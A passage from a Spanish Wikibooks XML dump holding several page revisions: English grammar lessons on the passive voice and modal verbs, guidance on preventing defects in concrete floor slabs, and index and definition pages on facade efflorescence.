*'''I eat apples''' (Yo como manzanas)

*'''Voz pasiva'''

*'''The apples have been eaten by me''' (Las manzanas han sido comidas por mi)
*'''The apples are eaten by me''' (Las manzanas son comidas por mi)
*'''The apples will be eaten by me''' (Las manzanas serán comidas por mi)


*Para formar la ''voz pasiva'' de cualquier verbo se necesita el auxiliar '''to be''' en el modo, tiempo y persona que corresponda, seguido del participio pasado del verbo que hemos de expresar.

*Asimismo, lo que en la ''voz activa'' era el sujeto pasa a ser complemento, en tanto que lo que era complemento del verbo pasa a ser sujeto. El sujeto convertido en complemento requiere la preposición '''by'''.


{{AutoCat}}</text>
      <sha1>a51e5tth9f6kcp9scehmju07dj8ra36</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Verbos modales</title>
    <ns>0</ns>
    <id>13162</id>
    <revision>
      <id>429816</id>
      <parentid>164795</parentid>
      <timestamp>2026-08-01T22:01:06Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429816</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2492" sha1="b9s0pvef8aj3qtet71j7s1hqnqufr3i" xml:space="preserve">Los verbos modales, como auxiliares, son usados en el inglés por un hablante para comunicar diferentes ''estados'' o ''actitudes'' (de permiso, de probabilidad, de necesidad). Estos verbos son:

*can
*could
*may
*might
*should 
*shall
*ought to
*must
*had better 
*will
*would

De acuerdo a su significado, los verbos modales pueden agruparse o distinguirse según el arreglo siguiente:

*can, could, may, might.
*shall, should, ought to, must, had better.
*will, would.

==Los verbos 'can', 'could', 'may' y 'might'==

El verbo 'can' es usado para expresar o preguntar acerca de ''posibilidad'', como en
*You '''can''' do it. (Puedes hacerlo)
*English is not too hard. You '''can''' learn it. (El inglés no es muy difícil. Tú puedes aprenderlo)
*'''Can''' you take me to the school? (¿Puedes llevarme a la escuela?)


En el último apartado, ‘can’ es usado como auxiliar para preguntar acerca de la ''posibilidad'' que tiene alguien de hacer algo. Sin embargo, en ocasiones es preferible usar otros verbos modales, sobre todo cuando se pretende dirigirse de manera más formal y educada. Con tal propósito puede usarse ‘could’, como en los ejemplos siguientes:


*'''Could''' you take me to school? (¿Podrías llevarme a la escuela?) 
*I’m sorry, '''could''' you spell your name please? (Lo siento, ¿podría deletrear su nombre por favor?)
*Could we take a look to this item? (¿Podríamos ver este artículo?)


El verbo ‘may’ puede usarse de la misma manera que ‘could’.

*'''May''' you take me to the school? (¿Podrías llevarme a la escuela?) 
*I’m sorry, '''may''' you spell your name? (Lo siento, ¿podría deletrear su nombre?)
*'''May''' we take a look to this item? (¿Podríamos ver este artículo?)

El verbo 'might' es usado con el mismo significado que 'could' y 'may', aunque su uso es menos frecuente y  es considerado más formal y educado.

== Had Better ==
''Had Better'' o '''d Better'', significan deberías, es más usado en el Reino Unido que en Estados Unidos
*Pronunciación inglesa &quot;hadt better&quot; con una &quot;a&quot; larga y grave, y con una t parecida a la ch.
*Pronunciación americana &quot;had berer&quot; con una &quot;a&quot; corta, y con una &quot;r&quot; del español, reemplazando a la &quot;t&quot;.

*Ejemplos

*I'd better wear this dress. (Debería usar este vestido)
*You'd not better go home until 3 o'clock. (No te deberías ir antes de las tres en punto)
*Had we better go to that party? (Deberíamos ir a esa fiesta)

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>b9s0pvef8aj3qtet71j7s1hqnqufr3i</sha1>
    </revision>
    <revision>
      <id>429923</id>
      <parentid>429816</parentid>
      <timestamp>2026-08-01T22:09:16Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429923</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2452" sha1="a33ykk2grkdo8kxqxciwbilqmz2q7ie" xml:space="preserve">Los verbos modales, como auxiliares, son usados en el inglés por un hablante para comunicar diferentes ''estados'' o ''actitudes'' (de permiso, de probabilidad, de necesidad). Estos verbos son:

*can
*could
*may
*might
*should 
*shall
*ought to
*must
*had better 
*will
*would

De acuerdo a su significado, los verbos modales pueden agruparse o distinguirse según el arreglo siguiente:

*can, could, may, might.
*shall, should, ought to, must, had better.
*will, would.

==Los verbos 'can', 'could', 'may' y 'might'==

El verbo 'can' es usado para expresar o preguntar acerca de ''posibilidad'', como en
*You '''can''' do it. (Puedes hacerlo)
*English is not too hard. You '''can''' learn it. (El inglés no es muy difícil. Tú puedes aprenderlo)
*'''Can''' you take me to the school? (¿Puedes llevarme a la escuela?)


En el último apartado, ‘can’ es usado como auxiliar para preguntar acerca de la ''posibilidad'' que tiene alguien de hacer algo. Sin embargo, en ocasiones es preferible usar otros verbos modales, sobre todo cuando se pretende dirigirse de manera más formal y educada. Con tal propósito puede usarse ‘could’, como en los ejemplos siguientes:


*'''Could''' you take me to school? (¿Podrías llevarme a la escuela?) 
*I’m sorry, '''could''' you spell your name please? (Lo siento, ¿podría deletrear su nombre por favor?)
*Could we take a look to this item? (¿Podríamos ver este artículo?)


El verbo ‘may’ puede usarse de la misma manera que ‘could’.

*'''May''' you take me to the school? (¿Podrías llevarme a la escuela?) 
*I’m sorry, '''may''' you spell your name? (Lo siento, ¿podría deletrear su nombre?)
*'''May''' we take a look to this item? (¿Podríamos ver este artículo?)

El verbo 'might' es usado con el mismo significado que 'could' y 'may', aunque su uso es menos frecuente y  es considerado más formal y educado.

== Had Better ==
''Had Better'' o '''d Better'', significan deberías, es más usado en el Reino Unido que en Estados Unidos
*Pronunciación inglesa &quot;hadt better&quot; con una &quot;a&quot; larga y grave, y con una t parecida a la ch.
*Pronunciación americana &quot;had berer&quot; con una &quot;a&quot; corta, y con una &quot;r&quot; del español, reemplazando a la &quot;t&quot;.

*Ejemplos

*I'd better wear this dress. (Debería usar este vestido)
*You'd not better go home until 3 o'clock. (No te deberías ir antes de las tres en punto)
*Had we better go to that party? (Deberíamos ir a esa fiesta)

{{AutoCat}}</text>
      <sha1>a33ykk2grkdo8kxqxciwbilqmz2q7ie</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de hormigón/Forjados/Prevención</title>
    <ns>0</ns>
    <id>13242</id>
    <revision>
      <id>430174</id>
      <parentid>417551</parentid>
      <timestamp>2026-08-02T11:55:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430174</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="15474" sha1="kjuw4j11jvmaq72tdnicmt3lzfwemo5" xml:space="preserve">'''DISEÑO'''

''Proyecto y Cálculo'':

-	Realización del mayor número posible de detalles constructivos que definan la correcta solución de la puesta en obra del elemento estudiado.

-	El cálculo debe realizarse por personal técnico, estando firmado por una persona física con la titulación adecuada.

-	Atención a los programas de cálculo automatizado, que no sirven para todo y pueden inducir a errores muy graves. Comprobar que las especificaciones de los materiales y los coeficientes de seguridad son los introducidos en el programa.

-	Estudiar cuidadosamente y evitar la arbitrariedad la hora de fijar las cargas, pudiendo producir patologías por defecto pero también un gasto innecesario por exceso.

-	Aplicar reducciones en las sobrecargas, para no originar cargas desmesuradas en los soportes y cimentaciones

-	Evaluar correctamente las acciones sobre el forjado, teniendo en cuenta también aquellos detalles que con frecuencia no se valoran: el peso de los tendidos de yeso en la cara inferior del forjado, el peso real del forjado (y la capa de arena situada bajo éste), cargas lineales en punta de voladizos, etc.

-	Se han de definir de forma precisa los espesores y pesos de los pavimentos, durante la fase previa al proyecto para definir las cargas adecuadas que se incluyan en el análisis estructural.

-	Estimación correcta del forjado considerando los momentos negativos en el tránsito de un paño a otro, y prever por lo tanto el armado de negativos en estos puntos.

-	En forjados unidireccionales se debe evitar las grandes luces (inferiores a 7 m). Si la luz fuese superior a 7 metros, se puede construir con viguetas pareadas, con el fin de darle mayor rigidez y resistencia a cortante.

-	Especial atención a grandes luces y al uso sistemático de las vigas planas, unido muchas veces a la ausencia de tabiquería en las plantas más bajas, que darían lugar a una deformación excesiva de los forjados. En el caso de vigas planas, calcular el forjado con la luz entre ejes de apoyos y tener en cuenta que la escasez de canto las hacer muy sensibles a errores de posición de las armaduras y propicias  a presentar en servicio deformaciones excesivas.

-	En forjados unidireccionales se deberá colocar armadura de reparto en la capa de compresión así como emplear armadura de negativos sobre viguetas (cuidando la ejecución, para que éste no caiga durante el hormigonado y vibrado).

-	En los apoyos de forjados sobre vigas de borde, considerar cierto factor de empotramiento, y disponer armadura superior capaz de resistir un momento flector del orden del 25% del isostático. La semivigueta, o al menos su armadura, deben entrar en  la viga de borde para realizar el anclaje. La solución de macizar un canto del forjado no es correcta pues supone confiar la resistencia del enlace a la resistencia a tracción del hormigón.

-	En el caso de forjados de cubiertas con bajas pendientes (inferior al 1%), tener en cuenta en la estimación de cargas la sobrecarga debida a cuestiones climatológicas, especialmente la posible acumulación de nieve o embalsamiento de agua en superficie.

-	Garantizar un comportamiento adecuado de los forjados parcialmente prefabricados (viguetas prefabricadas junto a hormigones), es decir, conseguir que la conexión entre la pieza prefabricada y el hormigón “in situ” sea capaz de transferir las tensiones rasantes derivadas del trabajo conjunto de la sección.

-	En forjados con viguetas armadas o pretensadas (sobre todo si no tienen armadura transversal), y forjados de losas alveolares pretensadas con losa superior hormigonada en obra debe verificarse la tensión rasante que solicita la junta entre el elemento prefabricado y el hormigón vertido en obra según la normativa EFHE.

-	El perímetro crítico (que delimita la superficie en contacto de los diferentes hormigones) frente a rasante deberá comprobarse según la geometría de la pieza de aligeramiento, que es la que lo condiciona; en el caso de las viguetas armadas o pretensadas sin armadura de conexión éstas pueden estar engarzadas en cola de milano. Las tensiones rasantes van a depender de la rugosidad de la pieza prefabricada, de la resistencia más débil de los dos hormigones y de la cantidad y posición de la armadura transversal.    

-	A la hora de realizar huecos para instalaciones éstos deben situarse lo más alejado posible de los pilares. Según la EHE, artículo 46.1. para que los huecos para el paso de instalaciones no afecten al área crítica (o perímetro crítico) se han de situar a una distancia menor o igual a 6d, entre la cara del pilar más cercana al hueco y el lado del hueco más próximo al pilar, siendo d el canto útil de la losa.

-	Para evitar los daños debidos al punzonamiento, utilizar un forjado tipo losa con un canto comprendido entre L/24 y L/20, siendo L la luz entre ejes de pilares, con el fin de no necesitar armadura de punzonamiento. Si no es posible, por una economía restrictiva, realizar un canto de losa que permita absorber los esfuerzos de punzonamiento con la capacidad resistente del hormigón, se deberá cuidar al máximo la disposición de estribos y barras inclinadas. 

-	Las losas se diseñarán intentando que descansen totalmente sobre los soportes y procurando que se consideren como interiores.

-	Si no es posible soportar la totalidad de los esfuerzos de punzonamiento no deberán absorberse exclusivamente con armadura de cortante, deberá aumentarse el espesor de la losa descolgando los ábacos o introduciendo una cruceta de perfiles metálicos.

-	En el caso de forjados reticulares, se deberá tener en cuenta el cortante de los nervios a la salida de los ábacos y en los zunchos de borde donde abandona el ábaco. En el primer caso, si se ha colocar armadura de cortante en los mismos se dispondrá barras aisladas inclinadas a 45º o verticales en forma de z (de mayor facilidad constructiva frente a los estribos cerrados convencionales). Para el paso de instalaciones no se deberá realizar la perforación cortando los dos nervios de la esquina del ábaco.

-	Voladizos: Necesitan siempre armadura para soportar los momentos, sobre todo en el caso de voladizos pequeños (ya que éstos se pueden hundir al entrar en servicio la estructura, pues los grandes voladizos sin armadura partirían al realizar el despuntalado y desencofrado). Deberán conectarse los negativos a la armadura de la viga, para evitar su caída durante el hormigonado y el vibrado.
En vuelos inferiores a 1.20 m las viguetas deben estar totalmente enfrentadas con las del forjado, siendo mejor cuando se consigue continuidad. En el extremo del voladizo llevará como mínimo un zuncho de borde que ate las cabezas de las viguetas (éste suele estar formado por 2 barras de diámetro 12, con un ancho de 10 cm y el canto del forjado). En la unión de las viguetas del vano con la viga se maciza con hormigón o se colocan bovedillas rebajadas.
Para voladizos con luz superior a 1.2 m o en el caso del voladizo de la primera planta donde se acumulan parte de las cargas de los voladizos superiores se deberían colocar viguetas pareadas.
En caso de necesitar mayor rigidez se pueden macizar las calles de bovedillas alternativamente; si los momentos son elevados, suele ser necesario colocar en el vano contiguo al voladizo viguetas pareadas también.

-	Especial atención a grandes luces y al uso sistemático de las vigas planas, unido muchas veces a la ausencia de tabiquería en las plantas más bajas, que darían lugar a una deformación excesiva de los forjados y a un momento torsor en la fachada o viga de borde.

-	Evitar las vigas sometidas a torsión (evitar los brochales y las luces grandes de viguetas, de esta forma se evitan momentos torsores mayores en las vigas).

-	En el caso de elementos estructurales prefabricados no es preciso considerar el torsor de una viga si existe un elemento perpendicular que pueda soportar como flector (de empotramiento) el torsor que no consideramos en la viga. Esto supone una unión rígida a flexión entre viga y forjado; si no existe, los torsores son de equilibrio y, si la viga a su vez está apoyada en el pilar, volcará por esta causa y si no lo hace es por que puede soportar el torsor reacción, descentrando la reacción en el ancho de su apoyo.


'''EJECUCIÓN'''

''Control de recepción en obra y almacenamiento:''

-	Comprobar que las bovedillas no sufran de dilatación potencial. Esto se traduce en un aumento de volumen de la bovedilla originando una rigidez torsional que conlleva a la caída de los fondos de las bovedillas.

-	Se deberá comprobar a esfuerzo cortante en las cabezas de las viguetas, sobre todo si no tienen armadura transversal, ya que si supera la resistencia del hormigón y no la de los coeficientes de seguridad se podría producir su hundimiento al someterse a una determinada sobrecarga. Para reforzar un forjado a cortante se macizará la zona de bovedillas adyacentes a las vigas, con hormigón.

-	En las piezas prefabricadas:
- Comprobar que no tienen defectos de calidad de fabricación ni han sufrido daños en el transporte.
- Comprobar que las superficies en contacto estén libres de polvo y suciedad, y el estado de saturación de las superficies de contacto.	

-	Almacenar el material sobre una superficie suficientemente llana, sin apoyos imprevistos.

''Montaje''

-	Correcta colocación de las sopandas a un mismo nivel teórico, ni por encima, ni por debajo, para evitar que algunos vanos empiecen a trabajar en voladizo o con luz doble de la prevista.

-	Buena previsión del plan de cimbrado y descimbrado, especialmente cuando la carga debida al peso propio es parte importante respecto de la carga total transmitida. Tener en cuenta la transmisión de cargas de forjados superiores que se produciría con la colocación de puntales en el proceso de ejecución.

-	Especial atención a alturas de planta grandes y pesos propios de forjados importantes, no utilizar las mismas soluciones que para forjado tradicionales ligeros.

-	Es importante el ajuste perfecto entre los distintos encofrados para evitar pérdidas de material (y en consecuencia, coqueras y superficies porosas). El orden ha de ser el adecuado (en vigas y viguetas del centro a los extremos, en voladizos desde el vuelo hacia adentro).

-	Los pilares no penetrarán en las losas, para ello los encofrados se deberán situar por encima o a nivel de la cara superior del pilar terminado pero nunca por debajo.

-	Comprobar la compatibilidad entre vigueta y bovedilla. Debe existir un espacio mínimo entre el alma de la vigueta y los laterales de las bovedillas para que pueda penetrar el hormigón y exista una resistencia frente a esfuerzo rasante.


''Colocación de armaduras'':

-	Cumplimiento de la normativa EHE, tanto para los recubrimientos mínimos, como de las longitudes de anclaje y empalmes de armadura. Las armaduras en espera deben tener una longitud suficiente para anclar en el forjado.

-	Colocar armadura de reparto en la losa superior, evitando grietas de retracción en la cara superior del forjado durante la construcción o grietas en el tendido de yeso de la cara inferior del forjado durante el servicio.

-	Empleo de separadores entre bovedillas y  mallazo, situando los negativos por debajo del mismo, para garantizar el recubrimiento correcto y prevenir la corrosión y consecuente pérdida de capacidad resistente.

-	Mantener la armadura atada firmemente a algo fijo, para evitar que al hormigonar pueda desplazarse y quedar en la mitad interior del forjado.

-	Realizar patillas en los extremos de la armadura superior de las vigas y hacerlo de forma adecuada según el elemento que se trate (en vigas planas).

-	Separación de armaduras según cálculo. Correcta organización de las armaduras, que permita el paso del hormigón, adaptando la dosificación del hormigón a la densidad del armado.  Atención a una excesiva acumulación de armadura de positivos en los nervios, que puede llevar al desprendimiento del recubrimiento de las mismas y corrosión consecuente. Cumplimiento de la normativa EHE.

-	Cuando se realice cualquier cambio en las dimensiones, se deberá recalcular la armadura de nuevo.


''Hormigonado'':

-	Limpiar y humedecer (sin encharcar) de la superficie de contacto previamente al hormigonado.

-	Aplicar un hormigón adecuado (en cuanto a dosificación, compactación, adiciones y/o aditivos, etc).

-	Cuidado del vibrado del hormigón.

-	Es necesario el vibrado de las cabezas de las viguetas semirresistentes para evitar un asentamiento plástico y consecuentemente la aparición de dos fisuras longitudinales a lo largo de toda la vigueta.

-	Tiempos de curado adecuados. No hormigonar con mucho calor y viento seco, para evitar fisuras importantes en la capa de compresión cuando el aire evapora el agua de la superficie de hormigón demasiado rápido. 

-	En el caso de los forjados de chapa colaborante comprobar los conectores o pernos de anclaje (número, separación, etc.), de los que dependerá el esfuerzo rasante.

-	En el caso de placas de poco espesor, realizar un ferrallado correcto, con recubrimientos y anclajes adecuados en las armaduras.

-	En caso de emplear piezas metálicas en conexión con las losas de hormigón, se prestará atención a las mismas, para que realice una correcta ejecución, para evitar que resulten insuficientes o el fallo de las soldaduras.

-	En caso de tener que cortar las viguetas, se hará con una sierra de disco y no a golpes, para evitar las fisuras que disminuyen su capacidad mecánica y expone las piezas a la corrosión.


''Descimbrado'':

-	Desencofrado y descimbrado, en tiempo y forma, adecuados. Encofrados rígidos y resistentes que soporten las cargas del hormigón fresco. No deben producirse movimientos durante el fraguado (no apoyar los puntales directamente en el terreno si se preveen posibles movimientos o asentamientos). 

-	Mantener el orden apropiado en la retirada de los puntales y encofrados.

-	En voladizos durante la ejecución del encofrado hay que tener en cuenta la contraflecha y retirar los puntales pasados 28 días, para evitar flechas instantáneas y diferidas mayores.

-	Controlar que las sobrecargas de obra (acopio de material, etc.) no superen las cargas consideradas para el cálculo.


-	En el caso de forjados con viguetas pretensadas, ya que éstas no suelen ir provistas de elementos de enlace (celosías) que colaboran en la transmisión de rasante, deberá confiarse esta transmisión a las condiciones de la superficie de contacto entre los dos hormigones. Las tensiones que pueda transmitir la junta dependerán de las condiciones de ejecución del forjado (limpieza y humedad de la superficie de contacto previamente al hormigonado, compactación del hormigón, etc.) así como de las características superficiales del elemento prefabricado.

-	En el caso de elementos prefabricados atender a su rugosidad, según la cual tenemos distintos tipos de uniones


'''CONSERVACIÓN'''

En caso de reformas sucesivas de la vivienda o local de que se trate, se tendrá precaución a la hora de añadir pavimento sobre pavimento (u otro tipo de cargas no contempladas), al aumentar el peso del forjado, pudiendo llegar a sobrepasar la sobrecarga disponible en el mismo.
No sobrecargar los forjados con usos para los que no fueron diseñados.

[[Categoría:Patología de la edificación]]

{{AutoCat}}</text>
      <sha1>kjuw4j11jvmaq72tdnicmt3lzfwemo5</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas</title>
    <ns>0</ns>
    <id>13276</id>
    <revision>
      <id>430020</id>
      <parentid>63086</parentid>
      <timestamp>2026-08-02T10:27:17Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>organización</comment>
      <origin>430020</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="254" sha1="9eh9uv8hrbmyan1nahveou2xlm9ye8h" xml:space="preserve">*[[/Introducción|Introducción]]
*[[/1.Humedades.|Humedades]]
*[[/2.Grietas.|Grietas]]
*[[/3.Desprendimientos.|Desprendimientos]]
*[[/4.Eflorescencias.|Eflorescencias]]
*[[/5.Erosión.|Erosión]]
*[[/6.Suciedad.|Suciedad]]
*[[/7.Organismos.|Organismos]]</text>
      <sha1>9eh9uv8hrbmyan1nahveou2xlm9ye8h</sha1>
    </revision>
    <revision>
      <id>430077</id>
      <parentid>430020</parentid>
      <timestamp>2026-08-02T10:58:33Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Actualizando enlaces</comment>
      <origin>430077</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="233" sha1="1woh85mel14x4243grpvbdo45idy2a2" xml:space="preserve">*[[/Introducción|Introducción]]
*[[/Humedades|Humedades]]
*[[/Grietas|Grietas]]
*[[/Desprendimientos|Desprendimientos]]
*[[/Eflorescencias|Eflorescencias]]
*[[/Erosión|Erosión]]
*[[/Suciedad|Suciedad]]
*[[/Organismos|Organismos]]</text>
      <sha1>1woh85mel14x4243grpvbdo45idy2a2</sha1>
    </revision>
    <revision>
      <id>430078</id>
      <parentid>430077</parentid>
      <timestamp>2026-08-02T10:58:40Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430078</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="246" sha1="pyeqta4or3hu9nxu83zf3wilim8mgj2" xml:space="preserve">*[[/Introducción|Introducción]]
*[[/Humedades|Humedades]]
*[[/Grietas|Grietas]]
*[[/Desprendimientos|Desprendimientos]]
*[[/Eflorescencias|Eflorescencias]]
*[[/Erosión|Erosión]]
*[[/Suciedad|Suciedad]]
*[[/Organismos|Organismos]]

{{AutoCat}}</text>
      <sha1>pyeqta4or3hu9nxu83zf3wilim8mgj2</sha1>
    </revision>
    <revision>
      <id>430079</id>
      <parentid>430078</parentid>
      <timestamp>2026-08-02T10:59:43Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430079</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="268" sha1="2poplu9unqv6idcjar5q5t8u36eevwh" xml:space="preserve">*[[/Introducción|Introducción]]
*[[/Humedades|Humedades]]
*[[/Grietas|Grietas]]
*[[/Desprendimientos|Desprendimientos]]
*[[/Eflorescencias|Eflorescencias]]
*[[/Erosión|Erosión]]
*[[/Suciedad|Suciedad]]
*[[/Organismos|Organismos]]
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>2poplu9unqv6idcjar5q5t8u36eevwh</sha1>
    </revision>
    <revision>
      <id>430087</id>
      <parentid>430079</parentid>
      <timestamp>2026-08-02T11:14:28Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430087</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="572" sha1="sggbxieiwnx8elh9fpf9cors37ns9g5" xml:space="preserve">*[[Patología de la edificación/Fachadas/Introducción|Introducción]]
*[[Patología de la edificación/Fachadas/Humedades|Humedades]]
*[[Patología de la edificación/Fachadas/Grietas|Grietas]]
*[[Patología de la edificación/Fachadas/Desprendimientos|Desprendimientos]]
*[[Patología de la edificación/Fachadas/Eflorescencias|Eflorescencias]]
*[[Patología de la edificación/Fachadas/Erosión|Erosión]]
*[[Patología de la edificación/Fachadas/Suciedad|Suciedad]]
*[[Patología de la edificación/Fachadas/Organismos|Organismos]]
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>sggbxieiwnx8elh9fpf9cors37ns9g5</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias</title>
    <ns>0</ns>
    <id>13277</id>
    <revision>
      <id>430044</id>
      <parentid>61995</parentid>
      <timestamp>2026-08-02T10:49:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias.]] a [[Patología de la edificación/Fachadas/Eflorescencias]]: Moviendo según manual de títulos</comment>
      <origin>61995</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1016" sha1="5xc4sjenzbc81ncguvrvi9bomyy6yq9" xml:space="preserve">'''4. EFLORESCENCIAS'''

'''[[/1.DEFINICIÓN|1.DEFINICIÓN]]'''

'''[[/2.ORIGENES DE LAS EFLORESCENCIAS|2.ORIGENES DE LAS EFLORESCENCIAS]]'''

::2.1. Por estar en las materias primas
::2.2. Por originarse en secado
::2.3. Por interacción de distintos componentes

'''[[/3.TIPOLOGÍAS|3.TIPOLOGÍAS]]'''

::3.1. Sales eflorescibles
::3.2. Materiales eflorescibles
::3.3. Tipos de eflorescencias dependiendo el material

'''[[/4.DIAGNOSTICO|4.DIAGNÓSTICO]]'''

'''[[/5.REPARACIÓN|5.REPARACIÓN]]'''

::5.1. Reparación de causas
::5.2. Reparación del efecto

'''[[/6.PREVENCIÓN|6.PREVENCIÓN]]'''


[[../|Patología de fachadas]]


''':BIBLIOGRAFÍA:'''

:-Patología de cerramientos y acabados arquitectónicos. Juan Monjo Carrio (1994)
:-Patología de fachadas urbanas. Universidad de Valladolid (1987)
:-Tratado de rehabilitación. Juan Monjo Carrio (1999)
:-Humedad como patología frecuente en la edificación. AAVV (1993)
:-Patología de la construcción, humedades en la edificación. Ortega Andrade (1989)</text>
      <sha1>5xc4sjenzbc81ncguvrvi9bomyy6yq9</sha1>
    </revision>
    <revision>
      <id>430179</id>
      <parentid>430044</parentid>
      <timestamp>2026-08-02T11:56:19Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430179</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1029" sha1="ehj1ft3ovkq0h3qn3brwqsrttle19pa" xml:space="preserve">'''4. EFLORESCENCIAS'''

'''[[/1.DEFINICIÓN|1.DEFINICIÓN]]'''

'''[[/2.ORIGENES DE LAS EFLORESCENCIAS|2.ORIGENES DE LAS EFLORESCENCIAS]]'''

::2.1. Por estar en las materias primas
::2.2. Por originarse en secado
::2.3. Por interacción de distintos componentes

'''[[/3.TIPOLOGÍAS|3.TIPOLOGÍAS]]'''

::3.1. Sales eflorescibles
::3.2. Materiales eflorescibles
::3.3. Tipos de eflorescencias dependiendo el material

'''[[/4.DIAGNOSTICO|4.DIAGNÓSTICO]]'''

'''[[/5.REPARACIÓN|5.REPARACIÓN]]'''

::5.1. Reparación de causas
::5.2. Reparación del efecto

'''[[/6.PREVENCIÓN|6.PREVENCIÓN]]'''


[[../|Patología de fachadas]]


''':BIBLIOGRAFÍA:'''

:-Patología de cerramientos y acabados arquitectónicos. Juan Monjo Carrio (1994)
:-Patología de fachadas urbanas. Universidad de Valladolid (1987)
:-Tratado de rehabilitación. Juan Monjo Carrio (1999)
:-Humedad como patología frecuente en la edificación. AAVV (1993)
:-Patología de la construcción, humedades en la edificación. Ortega Andrade (1989)

{{AutoCat}}</text>
      <sha1>ehj1ft3ovkq0h3qn3brwqsrttle19pa</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/Definición</title>
    <ns>0</ns>
    <id>13278</id>
    <revision>
      <id>430046</id>
      <parentid>145865</parentid>
      <timestamp>2026-08-02T10:49:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/1.DEFINICIÓN]]: Moviendo según manual de títulos</comment>
      <origin>145865</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2058" sha1="69e67pjeff9m3q2siawwhbqce6y0jko" xml:space="preserve">'''1.DEFINICIÓN'''

La '''eflorescencia''' se trata de un fenómeno que se produce en la superficie  exterior de los cerramientos y consiste en la recristalización de sales que pertenecen al mismo cerramiento distribuidas mediante disolución con el agua que los atraviesa y una evaporación posterior al llegar a la superficie.
Para que se produzcan las eflorescencias es necesaria la presencia de tres fenómenos:

:1-'''Sales en disolución''' en alguno de los elementos que compongan el cerramiento. Principalmente serán los materiales porosos los susceptibles a contener sales solubles: obras de fábrica, pétreos, cerámicos…

:2-'''Presencia de [[patología de la edificación/Fachadas/Humedades|humedad]]'''. La más habitual sueles ser la humedad infiltrada, pero los pueden producir alguno de los cinco tipos de humedades descritos en el apartado de humedad (infiltrada, capilar, accidental, condensación intersticial, de obra). 

:3-Transporte de las sales a través de los cerramientos hasta que se produce la '''recristalización'''. Esta recristalización puede suceder en la superficie o en el interior del material, dependiendo de la naturaleza de las sales, de la porosidad de los materiales y de las condiciones de evaporación. En caso de que la recristalización se produzca en alguna oquedad de los materiales se denomina fenómeno de '''criptoflorescencia'''.

El último fenómeno es el que nos definirá claramente la lesión, por tanto las eflorescencias serán lesiones químicas de las fachadas.


[[../|EFLORESCENCIAS]]

1.Definición

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]</text>
      <sha1>69e67pjeff9m3q2siawwhbqce6y0jko</sha1>
    </revision>
    <revision>
      <id>430058</id>
      <parentid>430046</parentid>
      <timestamp>2026-08-02T10:50:13Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/1.DEFINICIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/Definición]]</comment>
      <origin>145865</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2058" sha1="69e67pjeff9m3q2siawwhbqce6y0jko" xml:space="preserve">'''1.DEFINICIÓN'''

